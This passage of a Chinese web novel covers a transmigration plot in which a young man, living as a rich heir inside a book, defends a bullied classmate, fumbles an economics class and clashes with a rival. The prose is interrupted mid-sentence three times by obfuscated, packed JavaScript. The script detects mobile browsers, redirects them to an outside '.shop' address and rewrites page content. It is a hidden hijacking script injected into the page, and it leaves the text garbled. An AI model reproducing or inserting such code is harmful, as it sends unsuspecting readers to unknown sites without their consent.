这种场面大概就是校园红人特有的待遇吧,走哪儿都少不了别人的关注,无论什么时候都会是别人的议论对象,虽然挺让人反感的,但孟弃知道他得接受,并学会适应。 现在的他自认为适应性还算强,走了这一小段路已经适应了七七八八。 快走到教室门口的时候,祁运突然拉了拉孟弃的衣角,然后指着前面两个说说笑笑着朝他走过来的同学说,“平时你和他俩的关系很好,穿白色T恤的那个叫董佳铭,穿蓝色衬衫的那个叫况辉。” 孟弃默默地把这两个人的名字记在心里,同时他也想起来了他看过这两个人和书中“孟弃”的聊天记录,不是今天去哪儿玩儿,就是明天去买什么奢侈品,几乎没聊过什么正经事情。 大概是酒肉朋友? 想到这里时孟弃瞬间就自信多了,觉得自己应该可以应付这两个人。 况辉走到孟弃面前之后直接无视了祁运的存在,然后一转身就把祁运给挤开了,之后他就抢占了祁运的位置揽着孟弃往前走,边走还边问孟弃,“你怎么和那个二椅子玩儿到一起去了?不怕别人在背后议论你啊?” 虽然孟弃不知道二椅子是什么意思,但从况辉那轻佻的语气中就听出来了这不是个好词,他非常不高兴地皱起眉头,一耸肩就让况辉落了空,然后转过身去朝祁运招了招手,待祁运走到他身边之后,他则自然而然地揽上祁运的肩膀,对况辉和董佳铭,以及其他一些从教室里探出头来看热闹的同学们说,“以后祁运就归我罩了,麻烦你们以后对他客气着点儿。” 况辉和落后一步的董佳铭对视一眼,皆从对方眼中看出了不可思议,天方夜谭,况辉更是直接朝孟弃吼道,“我说孟弃,你的脑子是被驴给踢了吧?你不知道他是个什么货色吗,你就罩着他!你拿什么罩?钱吗?还是避孕套?” 况辉的话音刚落地,四周就传来一阵哄笑声,久久不绝,且要多刺耳就有多刺耳,不仅祁运的脸色唰一下就白了,就连孟弃的脸色也跟着白成一片,因为这些不怀好意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467784|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑声一瞬间就把孟弃带回到了孤立无援的小时候。 以前孟弃因为那双眼睛的缘故,经常就被别人明里暗里骂作小怪物,有时候那群骂他的人还会聚在一起,彼此壮着胆子欺负他,不是把他推到泥坑里去,就是把他的衣服全给脱下来,扔的哪哪都是,然后再在旁边看着他狼狈不堪的样子放声大笑,那声音就和现在的一样,要多刺耳就有多刺耳。 孟弃本能地想逃跑,但在转身的瞬间看到他身旁的祁运已经抖若筛糠了,那样子竟是比以前的小孟弃还要可怜上三分,孟弃脑子里那根断掉的弦因为这一幕自动焊接在一起,他忽然间就想起了他现在的身份:他已经不再是小时候那个谁都可以欺负的孟弃,而是嚣张跋扈不可一世的孟家大少爷,书中“孟弃”! 他已经有了和恶人对抗的资本!他谁也不怕了! 说时迟那时快,在孟弃的大脑给出反应之前,他的右手已经自动抬起来,并快准狠地把况辉给推出去了,然后又在周边同时响起的抽气声中愤怒地指着倒退了好几步才稳住身形的况辉,大声对他说,“我再说一次,从今天开始我要罩着祁运,你最好对他尊重些,如果再发生一次今天这种事情,咱俩就绝交!” 听到孟弃竟然说出来这么一番话,况辉的眼珠子都快瞪出眼眶了,不可置信地看着孟弃,更大声地吼回去,“你竟然为了一只鸭子这样对我,你可真他妈有出息!” 孟弃都快要被况辉给气死了,也听出来了大家反感祁运的原因。 但这原因是真是假还两说着呢,就算祁运真是况辉所说的那种人,那也是为生活所迫啊,热血上头的孟弃不仅不怪他,甚至还有点儿感同身受惺惺相惜呢,因此他继续怒怼况辉道,“你把嘴巴放干净点儿,最后再说一次他是我朋友,以后你还想和我做朋友的话就必须认可他,不然咱俩这朋友真没得做了。” 况辉先是被孟弃气得站在远处大喘气,忽然又嗤笑一声,梗着脖子对孟弃说,“行,我他妈认可!凭什么不认可,我倒要看看最后你会被他骗成什么样子,又要躲到哪里去哭。” 这么说着,况辉便弹了弹被孟弃推到的地方,之后依然走到孟弃旁边挤走祁运,像没事儿人似的揽着孟弃往教室里走去。 周围人见是这样的一个结局,窃窃私语的动静就越来越大了,嗡嗡成一片,像是来了千万只苍蝇。 这种情况彻底惹恼了况辉,他先是朝天翻了个白眼儿,然后冲着周围看热闹的人群说,“看什么看啊,没见过床头打架床尾和的朋友嘛!” 孟弃:…… 这句话好像不是用来形容朋友关系的…… 因为刚刚那一番不像自己的作为紧张到差点儿同手同脚的孟弃差点儿就被况辉给逗笑了,然后那种紧张到窒息的感觉也跟着消失很多,他忍不住扭头看了况辉一眼,心想这人可真不按常理出牌啊,自己都那样怼他了,他竟然还能心平气和地和自己做朋友,不知道该当面夸他心胸宽阔还是该在他背后蛐蛐他没心没肺。 然后孟弃又扭头去看祁运。 此时的祁运还没走开,依然在原地站着,隐在光影之下的脸色晦暗不明,让孟弃瞧着怪心疼,不过在看到孟弃扭头看他时,他又立马朝孟弃祭出来一个微笑,嘴角上翘,眼睛弯弯,看上去可开心了。 孟弃也回给祁运一个微笑,之后便放心地跟着况辉走进了教室。 11. 第 11 章 这节课要讲的是《宏观经济学》,在此之前孟弃从未接触过这么高深的课程。 经济学老师站在讲台上侃侃而谈,坐在下面的大多数同学们也都听得津津有味,孟弃悄悄地环顾四周之后发现好像只有他在走神,就连他觉得是酒肉朋友的况辉和董佳铭都在全神贯注地望着讲台上的老师呢。 孟弃心想完了,这下要露馅了,因为他完全听不懂老师在讲什么,本来想低下头翻一翻那本陌生的《宏观经济学》,至少自己先摸索着看看来着,但实际情况是还不如不看,看过之后他被打击得更狠了,因为书本上面罗列出来的经济学公式比他在高中时期学过的任何一个公式都复杂,他不仅看不懂其中的逻辑,甚至都不知道公式中出现的字母该怎么发音。 眼前的书于他而言就是一本天书!要是照今天这样学下去,他铁定得挂科。 认清现实担忧未来的孟弃既烦躁又挫败,一时间把手指甲抠得咔咔响,这动静自然引得况辉和董佳铭同时转过脸来看他,孟弃先是茫然地看回去,之后才意识到自己无意识间抠指甲的行为影响到那俩人听课了。 唉,真的是成事不足败事有余。 孟弃先小声地向况辉和董佳铭道了歉,然后又抬起头看向讲台上的经济学老师,装出一副认真听课的架势来。 巧的是这个时候经济学老师刚好讲完什么是边际效用,需要找一个人来说说看他对边际效用和总效用之间关系的理解,上节课他已经讲过总效用的定义了。 别的学生一听到老师要提问,有一个算一个的都争着把头埋进怀里,整间教室里大概也只有孟弃把头抬得高高的,看在老师眼里绝对就是呼唤老师快选他的意思。 经济学老师看上去相当欣慰,然后便伸出食指,指向孟弃所在的方向,笑着说,“就你吧,你来回答一下这两者之间的关系。” 谁来回答? 哪两者? 啥关系? 孟弃呆住了,忐忑不安地弯曲食指点了点自己,下一秒经济学老师便对着他点头,那意思再明显不过了:就是你啊小伙子,不是你主动想回答这个问题的吗? 谁想回答了!您别冤枉我啊老师…… 在经济学老师充满鼓励的眼神中,孟弃磨磨蹭蹭地站起来,真的是欲哭无泪,不明白全班那么多认真听课的人呢,老师为什么偏偏选中他……他连着张了两次口都不知道该说什么,最后又麻利地把嘴闭上了。 经济学老师看着茫然无措的孟弃也很懵,“这位同学,你怎么不说话?是有语言障碍吗?” 孟弃认命般摇头,不想说话也得说了,“对不起老师,这道题我不会。” 听完孟弃的回答后,经济学老师显然更懵了,“你不会?可是老师看你挺想回答问题的啊?” “我…我走神了老师,并不是想回答问题,对不起!”这次换孟弃深深地把头埋进胸前。 随着他的话音落地,整间教室里立时响起了哄笑声,当然和嘲笑声不同,这阵哄笑声里分明没有嘲笑的意思,大家只是觉得孟弃的反应很搞笑,就跟着笑了。 孟弃并没有因为这阵哄笑声而变得紧张不安,他分得清真善和伪善。 经济学老师适时抬手示意同学们别笑,然后双手环胸,困惑地皱起眉头,“这位同学,你是在和老师开玩笑吗?” “对不起老师,我没有,我只是……只是昨天不小心伤到头了,损失了一部分记忆,不是诚心不回答您的问题,而是真的记不清了。” 知道孟弃确实没有拿他开玩笑,经济学老师这才舒展开眉头,然后下一秒又一脸担忧地问孟弃,“没什么大问题吧?需要请假去医院吗?” 孟弃摇头,特真诚地感谢道,“谢谢老师关心,暂时不用去,除了想不起来一些事情之外其他都还好。” 既然如此,经济学老师就没再多说些什么,而是挥手让孟弃坐下,下课铃声响起之后还对孟弃说不要着急,安心养病,需要补课的话尽管来找他,他可以安排。 孟弃感激涕零地送走了经济学老师,转头便看见况辉和董佳铭正交头接耳地不知道在嘀咕些什么,反正他也没兴趣知道,收拾好书本之后就想回宿舍。 大学就是好啊,今天一上午就这么一节专业课,放了学之后他就可以自由安排自己的时间了,出去玩也行,在宿舍里睡大觉也行,没人管的。 孟弃迫不及待地想去学校食堂里搞点东西吃,说实话,祁运送过来的那碗清粥连他的牙缝都没塞满,此时此刻的他都快要饿扁了。 况辉却一把拉住急着往外跑的孟弃,满脸狐疑地问他,“你的脑子真的被驴,不对,真的给摔坏了?不是故意骗老师的?” 孟弃犹豫着点头,心虚地“嗯”了一声。 况辉不疑有他,先伸手指了指自己,然后又指了指旁边同样疑惑的董佳铭,“那你还记得我俩吗?” “有一点儿印象,”孟弃抿了抿嘴,总觉得当着人家的面儿说不记得人家了这件事儿挺让人难为情的,但又不能不这么说,权衡之下他只好在说完之后再补救一两句安慰人的话,希望况辉和董佳铭不要因此而失望,“我还模糊记得你俩约我去国外看世界杯的事情,还有你最近看上一个姑娘,想让我帮你出出主意,好把她追到手。” 当然了,这些内容可不是孟弃记起来的,而是他从书中“孟弃”和这俩人的聊天记录中看到的。 显然孟弃这么说很有用,因为在孟弃说话的过程中况辉的眼睛越来越亮,最后直接站起来拥住孟弃狂按了两把,像中了大奖似的高兴地不得了,“你这个学霸连专业课知识都不记得了,却还记得和我的约定,真够哥们!不错不错,我很欣慰,看来平日里你真的有把我和小铭铭当朋友。” 说起朋友,董佳铭从旁插话问孟弃,“你是怎么和祁运搞到一起去的?也是因为失忆吗?” 这就说来话长了,孟弃决定长话短说。 他朝着况辉和董佳铭点头,郑重其事地向他俩解释,“对,我因为忘了太多事情,就想在不惊动我家人的情况下找个人帮忙恢复恢复记忆,正巧这时候遇见了祁运,他帮了我很大的忙,我很感激他。” “感激他你就给他钱啊,你给他钱应该比你说要罩着他更让他高兴,他就是一个见钱眼开的人,整个人都钻到钱眼里去了。”况辉的语气里满是鄙夷。 听况辉这么说祁运,孟弃可不开心了,他瞥了况辉一眼,愤愤不平地提醒他,“不是说了嘛祁运现在也是我的朋友,你以后不要再这样说他了,我不乐意听。” “你以为我愿意把他挂嘴边啊,他的名字我连提都懒得提好吧,之所以一直说他还不都是为了你,”况辉一副好心被人当成驴肝肺的委屈样子看向孟弃,继续控诉道,“这两年间他傍过的大款恐怕你十个手指头都不够数的,让我算算,你得是他物色的第十三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467785|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目标了吧,再不离他远点儿,小心到最后连底裤都被他骗光。” 在孟弃看来,祁运的眼神很清澈,和王博远看他时的感觉差不多,他不愿意相信祁运是那样的人,总觉得这是况辉的偏见。 但他没正面回怼况辉,怕会因此加重况辉对祁运的反感,而是选择直接问他,“你说的这些都是你亲眼看见的吗?你看见祁运傍大款了?也看见他骗人家的钱了?” 况辉被问住了,愣了半天没说话,之后才小声嚷嚷道,“是没亲眼看见,但亲耳听到好多人都这么说了。” 孟弃先不理况辉,而是扭过头去继续问董佳铭,“你呢?你也亲眼看见了?” 董佳铭摊手耸肩,“先说好啊,我对祁运可没有这么大的成见,他是什么样的人跟我一点儿关系都没有,我可不关心。” 对于董佳铭这不偏不倚的回答,孟弃还算满意,但况辉不认了,他回手给了背刺他的董佳铭一拳,愤愤不平道,“你丫属墙头草的吧。” “我属狗,谢谢。”董佳铭莞尔一笑。 孟弃怕况辉和董佳铭再因为这件事情吵起来,就赶紧打断他俩,回过头来对况辉说,“好了好了别气了,反正你说的这些事情都是没有真凭实据的,以后就不要说了好吧。” 况辉气闷地瞪了董佳铭一眼。 孟弃推着况辉往前走,边走边说,“我知道你是为我好,但……总之,我会找个机会问问祁运的。” “你问他,他会跟你说实话?” “他愿意说就说,不愿意说就算,我不会逼他,我交朋友一向很随缘,合得来就合,合不来就散,如果祁运真的是你说的那种人,我顶多被他骗走一些钱呗,这亏我认,但如果他不是那种人呢?我不就多了一个好朋友嘛,对不对?” “顶多被骗走一些钱?”况辉重复了一遍这句话,然后又好气又好笑地伸手点了点孟弃,颇为无语道,“行吧,您是孟家大少爷,有的是钱,既然你不把钱看在眼里,那我们这些人干嘛还要咸吃萝卜淡操心,有那时间和精力跑去国外看场球赛不香吗?!” 至此况辉、董佳铭和孟弃就祁运的事情达成了一致观点,那就是在孟弃被祁运骗到只剩底裤之前,他们仨,特别是况辉,不许戴着有色眼镜看祁运。 因为董佳铭和况辉已经提前和别人约定好去篮球场打球,孟弃便决定一个人去食堂,然后再顺便逛逛他们这个古香古韵又绿色成荫的美丽校园。 虽然当初挑选志愿的时候他的首要目标是离家近,但他也没有忽视学校的师资力量,最终他选的那所学校虽然不算多好,但也是百年校园,有雄厚的师资力量,也有百年底蕴,口碑很好的,据说校道两旁也是栽满了参天大树的,他可向往了。 不知道他还有没有机会回到现实去看看他选定的那所学校…… 在那之前就暂时把眼前的这所学校当做替身吧,反正它也是被参天大树覆盖着的,同时不仅是百年老校,还是985呢,走在林荫小道上的孟弃自顾自地想着,在受教育这件事上他可是不亏的。 正想得入神,旁边忽然伸出一只手来拉住了他,接着便有一道怒音响起,“孟弃!你是没看见我吗?” 孟弃循着声音看过去,先是看到一张气鼓鼓的脸颊,接着是一双蕴着怒意的眸子。 这又是谁啊?! 真的不能自报家门吗?! 孟弃可真要头疼死了…… 12. 第 12 章 “你跑什么呢?是真的没看见我吗?”见孟弃终于停下来看向他,那人又朝孟弃发出灵魂质问。 孟弃冤得很,嘴比脑子快地反驳那人道,“我没跑啊,我就正常走路。” 甚至比正常走路的速度还要慢一些的,因为当时孟弃正在欣赏校道两旁的风景,在看见那么大一个人工湖时还顺道回忆了回忆他们村子里的那个大池塘,岸上养着鸡鸭鹅,塘里养着鱼鳖蟹,一年四季从早到晚都可热闹了。 但那人明显不相信孟弃说的,因此冷哼一声,立马就反驳回来,“那你的意思就是故意装作看不见我咯,不然怎么解释?” 呃,这还真就解释不了。 因为孟弃确实看见那人了,也不能撒谎说没看见。 不过也仅限于看见而已,因为孟弃压根就不认识那人,只当他是个陌生人,是这本书设定的NPC,当然是扫一眼就过啊,总不能还要停下来和他唠两句吧,傻不傻…… 但谁能料到他不仅不是陌生人,看他这着急上火的模样,大概率还是书中“孟弃”的老熟人呢。 真的是,乌龟办走读——让人憋不住笑了,孟弃忍不住开启自嘲模式,再看了一眼对面的人之后才开始思忖这人会是谁。 他先是快速地把书中“孟弃”和其他人的聊天记录全都在脑子里过了一个遍,从中提取出有效信息,然后再进行比对,好用来分析眼前这人最有可能的身份。 前后琢磨了大约十来秒的时间,孟弃大概摸到了方向,就冲眼前这人敢随随便便朝着书中“孟弃”发火的熟稔程度来看,他要么是本该避书中“孟弃”如蛇蝎的江柏溪,要么是书中“孟弃”同父异母的弟弟孟凯泽。 孟凯泽应该不会也不敢在公共场合旁若无人地直呼他哥的名字,那剩下的一种可能就无限接近真相了。 想到这里时,孟弃悄悄打量了几眼面前这个气鼓鼓的人,只见他剑眉星目肤白俊美大高个,双眼皮高鼻梁清冷薄唇天鹅颈,白衬衫牛仔裤搭配一双白得发光的运动鞋,再加上那神色中让人无法忽视的小傲娇……好一个风度翩翩美少年,和那本书的作者描写出来的江柏溪一模一样。 这人百分之百就是江柏溪了,错不了。 就如上考场前押中了高考题目般,此时此刻的孟弃还怪激动的,嘴角都控制不住地上扬了几分,甚至还想上前一步握住江柏溪的手,表达一下他对这个角色的喜爱之情。 但孟弃兴奋过头了,一时忘了现在的他不是读者而是书中角色,还是和江柏溪一直都不对付的反派角色。 他那不合时宜的笑容看在江柏溪的眼中分明就是挑衅的意思,一瞬间就把江柏溪气得肺都要炸了,然后不待孟弃反应,他便怒气冲冲地指着孟弃说,“孟弃,你真不要脸。” 该说不说,江柏溪这句话直接就一语惊醒梦中人了,此时孟弃才真正意识到眼前这个人不是盟友而是宿敌,他和这个人之间有矛盾呢,不可能,至少暂时是不可能握手言和的。 意识到这一点之后的孟弃讪讪地后退了一小步,自以为神不知鬼不觉地离开了江柏溪的火力圈,然后再学着电视里看到过的霸总们的样子做双臂环胸状,接着高傲地抬起下巴,用鼻孔对着江柏溪,轻轻吐出一句,“我不懂你在说什么。” 小受气包孟弃虽然没有和人硬刚的气魄,但气人的功夫却是一绝的,他都不知道现在这个样子的他有多欠揍,直接就把江柏溪给气破防了,站在原地大声喘着粗气,好像下一秒就要冲上来咬他一口。 无知无觉的孟弃还觉得自己做的挺棒的。 按照孟弃的想法,他就是想用尽一切办法气跑江柏溪,最好能气到对方从此以后也把他给拉黑的程度,然后两个人老死不相往来,他承袭书中“孟弃”小男配的身份继续苟活,而江柏溪则继续去做任随一的白月光,走两不相干的故事线。 如果事情的发展真的可以按照孟弃设想的这样来,孟弃觉得他就算睡着了也会笑醒。 目前来看他的初步计划还算是有效果的,江柏溪果然更气了,并在孟弃隐隐期待的视线中皱紧眉头眯起眼睛质问孟弃,“你什么意思?退后那一步是想干嘛?我是什么脏东西吗?” 孟弃:…… 不是,你这人怎么不按常理出牌啊?这是重点吗?这不是重点好吧!重点应该是咱俩就任随一这个男主角的归属问题展开一场激烈的唇枪舌战啊! 孟弃无奈极了,先是呆愣愣地看着江柏溪,后又想起来自己是要装酷的,这个时候不能发呆,于是又赶紧在江柏溪反应过来之前飞快地乜了江柏溪一眼,同时把头转向侧边,用行动表示他要和江柏溪唱反调。 江柏溪大概没注意到孟弃那一瞬间的失神,看孟弃不搭理他了,自己就自爆了来找孟弃的目的,“我今天不是来和你吵架的,你只需要回答我昨天晚上你和随哥说了什么做了什么就行了。” 孟弃:…… 那你还是和我吵架吧,因为你问的问题无解,至少从我的嘴里撬不出来答案。 不管现在的江柏溪知不知道他,不对,是知不知道书中“孟弃”已经把任随一给拐上床了的事实,他本人是打死都不会承认的,就算任随一站在他面前和他对峙,他也要硬挺到最后一秒看看情况再说,搞不好为了活命还会反咬任随一一口,告他一个诽谤罪。 他早就想明白了,他要想活下去,就要把自己从这群人的关系网中彻彻底底地摘出来,然后一个人清清静静地等待回去现实的那一天。 如果有那么一天的话。 看孟弃一直不说话,江柏溪的怒气值已经上升了不止一个level,“你又在装无辜!孟弃,你知不知道我最烦你这一点!男子汉大丈夫敢作敢当好不好,你就说你是不是又在随哥面前挑拨离间说我坏话了?这次你又跟随哥说了什么,让他两天都不理我?” 说了啥?孟弃不清楚,也不记得那本书里写过,但至于做了啥,孟弃可是一清二楚的,可是这部分内容不能往外说。 该怎样做才能快速修复好任随一和江柏溪的关系呢?只要他俩双宿双飞了,那他这个小配角不就可以天高任鸟飞了么。 思来想去,孟弃觉得他不能陷入自证怪圈,自证来自证去容易把自己绕进去,如果江柏溪认定是他从中说了什么做了什么挑才造成的任随一不理他,那就该让江柏溪自己去搜集能证明是他说的做的证据去。 而江柏溪搜集证据的过程,不就是他和任随一修复关系的过程嘛! 任督二脉一旦被打开,事情就变得简单多了,孟弃瞬间便豁然开朗,觉得自己总算聪明了一回,而且他越想越觉得这个路子可行,就应该按这个路子来修正原小说对于他那部分的设定。 想明白之后的孟弃清了清嗓子,继续装作不可一世的样子开口说,“我不记得了,你想知道的话就去问任随一吧。” “你不记……你要是真不记得能做贼心虚到把我拉黑吗?”看孟弃依然是一副油盐不进的样子,江柏溪恼怒道,“孟弃,你不会觉得我是个大傻子吧?” “我就是不记得了,你爱信不信,”孟弃抿了一下唇,转动着眸子提醒在盛怒中迷失了方向的江柏溪,“你直接去问任随一多好啊,以你俩的关系来看,他是绝对不会骗你的,你明知道我是什么样的人,老跟我较什么劲。” “我要是能问他我不早就问去了嘛,问题是他不回我消息也不接我电话啊……” 江柏溪的眼中满是挫败, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467786|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看得孟弃都有点儿于心不忍了,安慰的话差点儿就脱口而出,关键时刻记起自己的身份,他赶紧把涌到嗓子眼的话咽了回去,继续用一副气死人不偿命的姿态和江柏溪说话,“你既然能来我的学校找我,那你为什么不直接去任随一经常出现的地方找任随一呢,他可比我好说话多了。” “你以为我没去吗,可丁姨说他去国外了,要一个星期后才能回来。” 原来是这样,怪不得一直躲着书中“孟弃”走的江柏溪会来学校里堵他呢,孟弃想了想,站在局外人的角度上给江柏溪提建议道,“那你就问丁姨要任随一在国外的地址呗,然后买张机票飞过去找他。” 听孟弃这么说,江柏溪的眼睛亮了一下,应该是觉得这个主意不错,但下一秒他就狐疑地看向孟弃,显然不相信给他出主意的孟弃真有这么好心,“你为什么教我这样做?不会又在心里憋什么坏呢吧?” 孟弃立马指天发誓表忠心,“不会不会,我可以发誓!其实我已经深刻反省过我自己了,以前都怪我太幼稚,以后我绝对不会再做任何一件对你和任随一不好的事情,你俩能长长久久和和美美,我将比任何人都高兴。” 江柏溪皱紧了眉头。 孟弃继续说,“还有,我为我过去的幼稚向你道歉,希望你能原谅我。” 江柏溪不仅皱紧了眉头,还眯起了眼睛。 孟弃揉了揉鼻子,继续,“现在你不相信我也没事,你就看我以后的行动吧,以后我会尽量做到不再出现在你和任随一的面前!” 江柏溪不仅皱紧了眉头,眯起了眼睛,还上下打量起孟弃来。 孟弃心虚地声音都要发抖了,“那个,为了证明我的决心,我现在就可以当着你的面儿把任随一拉黑。” 一句话说完,孟弃果真当着江柏溪的面儿打开微信,然后找到任随一的微信头像点进去,异常爽快地把任随一拉入了黑名单。 做完这些后他才觉得呼吸顺畅了,然后略微得意地朝江柏溪晃了晃手机,“看吧,没骗你吧。” 江柏溪刚开始时一直没说话,后来却沉着声音问他,“随哥他为什么给你转那么多钱?” 嗯? 糟了!大意失荆州!他忘了提前删掉和任随一的聊天记录了…… 但孟弃根本没有时间懊恼,在江柏溪发怒前他一秒也不敢耽搁地转动着大脑想借口,突然灵光一闪,还真给他想到了,“我最近很缺钱,这是问任随一借的。不过你放心,等我有钱了我会立马还给他的。” 孟弃虽然没有谈过恋爱,但他懂恋爱中的人那奇妙的占有欲,在他看来此时的任随一应该算是江柏溪的所有物,那么任随一的钱也该是江柏溪的所有物,他欠任随一的钱,江柏溪当然会不高兴,所以他一定得把还钱的事情说在前头,免得让江柏溪误会他和任随一之间有什么不清不楚的关系。 江柏溪轻飘飘地瞥了孟弃一眼,也不知道信不信孟弃临时编出来的借口,但他没再继续纠结这个话题,而是一改气愤的模样,轻飘飘地对孟弃说,“你都说从此以后不再联系我和随哥了,这钱就不用还了,留着买衣服吧。” 孟弃:…… 谢谢您嘞。 既然已经把话都说开了,孟弃觉得他和江柏溪也没什么其他事情好继续往下聊的,于是便提出来先走一步。 江柏溪点头,“那你走吧。” 孟弃转身就走。 他很饿,要去吃饭,谁也不能再拦他。 可是身后却又传来江柏溪的声音,他问孟弃,“你为什么直呼随哥的名字?他怎么得罪你了?” 孟弃:…… 你怎么那么多问题啊?是《十万个为什么》投胎转世的吗…… 13. 第 13 章 孟弃知道书中“孟弃”喜欢喊任随一为“一一哥”,不是任哥随哥一哥,而是一一加个哥,整本书里只有他会这么称呼任随一,算是特别的存在。 那本书中有写到书中“孟弃”执着于这样称呼任随一的原因。 书中“孟弃”是孟家的老大,任随一是任家的老二,江柏溪是江家的老四。 小时候的书中“孟弃”固执地认为他这个老大理所应当排在老二和老四的前面,他就是比任随一和江柏溪都大,他不仅是孟家的老大,也是任随一和江柏溪的老大,因此在和任随一、江柏溪他俩一起玩儿的时候他不愿意喊他俩哥哥,但却愿意整天跟在任随一的屁股后边儿喊“一一”,等长大后懂事了,知道长幼尊卑了,但也喊习惯了,所以也不怎么愿意改口,后来就勉为其难地在一一后边儿加了个哥。 任随一觉得长大后还被人叫“一一”,太幼稚,倒是纠正过书中“孟弃”几次,但都没起什么效果,后来也就懒得纠正了。 换句话说就是,“一一哥”这个称呼是一方坚持一方妥协的结果。 孟弃无比赞同任随一的观点,因为让他对着一米八多的任随一喊“一一”或者“一一哥”,他也喊不出来,而且他还觉得这个特别的称呼应该继续给书中“孟弃”保留着才对,等哪天人家回来了,一切都是要回归原位的。 可是话又说回来,如果不是他在机缘巧合之下穿进这本书里,九个月之后的书中“孟弃”是一定会死的,到那时候“一一哥”这个称呼也必将随着书中“孟弃”的身死而消失。 所以在他改写了原书的设定之后,书中“孟弃”真的还能再回来吗? 亦或者在他改写了原书的设定之后,他还能回到现实吗? 孟弃不知道答案,他背对着江柏溪站在那里茫然四顾,校道前方有光,可却不能指引着他找到他要找寻的方向。 万一他没有能力改写原书的设定呢?那他真的会死在他的19岁,书中“孟弃”的20岁吗? 也就一眨眼的功夫孟弃忽然就开始头疼,他知道他又钻牛角尖了,但却控制不住自己不去想这些,最后越想越害怕,甚至怕到身上的力气都开始逐渐抽离,马上就要支撑不住他的体重了。 江柏溪没想到自己随口的一个问题竟然引起孟弃这么大的反应,眼见着孟弃软绵绵地就开始往地上倒,吓得他一个箭步冲上前,堪堪赶在孟弃倒地前把孟弃给扶住了。 孟弃咬紧牙关闭紧眼睛抵抗着不断上涌的眩晕感,待那种可怕的感觉彻底消失之后他才猛喘了一口气,然后一边擦着额头上冒出来的虚汗一边有气无力地问江柏溪,“你身上有什么能吃的东西吗?” 这种突然间眩晕的感觉他太熟悉了。 如果没猜错的话,他刚刚应该是犯了低血糖。 初中的时候因为营养跟不上导致经常饿肚子,他大概有一年多的时间都是在这种不定时出现的低血糖症状中度过的,直至他爷爷收废品时收上来一个老古董花瓶,又卖了大价钱,他才能顿顿吃到饱,以后再也没有低血糖过。 而现在连着两天没怎么吃东西,只喝了半碗清粥的他不低血糖才怪嘞。 江柏溪可不知道孟弃晕倒的原因,看孟弃突然间变成这样,他的眉头皱得都能夹死一只苍蝇,先是盯着孟弃苍白的脸色看了好几眼,之后才想起来回答孟弃,“没有,我没带吃的,”然后好似不放心,又追着孟弃问了一句,“你这是怎么了?不会是又想装病讹我吧?” 装病?! 怎么可能!他又不是演员,可装不了这么像。 孟弃想摆手说他可没装病,但此时此刻的他特别虚弱,就连抬手的力气都快没有了,因此他也只能干笑两声,气若悬丝地向江柏溪解释说,“真不是讹你,我都说了不会再做任何一件对你和任随一不好的事情,就算你不相信我,我也不会这么快就打自己的脸的。” “我……” 说起来惭愧,谁能想到堂堂孟家大少爷竟然会有饿到低血糖的一天呢,估计这话说出去都没人会信,孟弃特别尴尬,总觉得书中“孟弃”那酷霸拽的人设早晚有一天会毁在他的手上,他嗫嚅着开口,声音听上去就像蚊子在哼哼,“不好意思,我这是饿的。” “饿的?”江柏溪先是诧异着反问,看孟弃时的表情就像是看见了天大的笑话,后来像是想起了什么,眼里的表情才又变得郑重起来。 刚开始时江柏溪确实不相信孟弃说的,但一想到任随一给孟弃转账的记录,接着又仔细想了想孟弃那不像是作假的晕倒反应,这让他不得不信孟弃真的是饿晕了的事实。 孟弃没钱了,或许连吃饭的钱都没有了,得出这个结论后的江柏溪一脸复杂地盯着孟弃看了许久,然后恨铁不成钢地质问起了孟弃,“你最近干什么了?你的钱呢?” 再怎么不喜欢书中“孟弃”,他和书中“孟弃”也是从小玩到大的玩伴,孟弃的“落魄”让江柏溪气闷极了,忍不住就升起了像以前一样站在大哥哥的立场上教育孟弃的心思。 而听到江柏溪这么问他,孟弃也猜到江柏溪大概是误会他乱花钱了,他刚想替自己辩解,但转念一想,这个误会来得恰到好处,还辩解什么呀!至少任随一转给他的那十万块钱有了合理的解释,而这件事情终将随着这个误会的发生变得更加合理化,孟弃可太满意了。 没用费心琢磨就顺理成章了却了一件心事,这让孟弃的心情变得轻快起来,他顺道想编个什么理由把乱花钱这件事情坐实并成功糊弄过去,省得这次交代不清楚,再给江柏溪留下持续质问他的空子。 正低头想理由的时候,余光里忽然就闪现出来一个熟悉的人影,是王博远!不是,是像王博远的祁运! 怕祁运跑远了,孟弃顾不上旁边的江柏溪,直接挣扎着从地上站起来,然后卯足了劲儿朝着祁运的背影大喊了一声祁运的名字。 没想到一激动用力过头了,喊得他差点儿缺氧,眼前一黑又想往地上出溜。 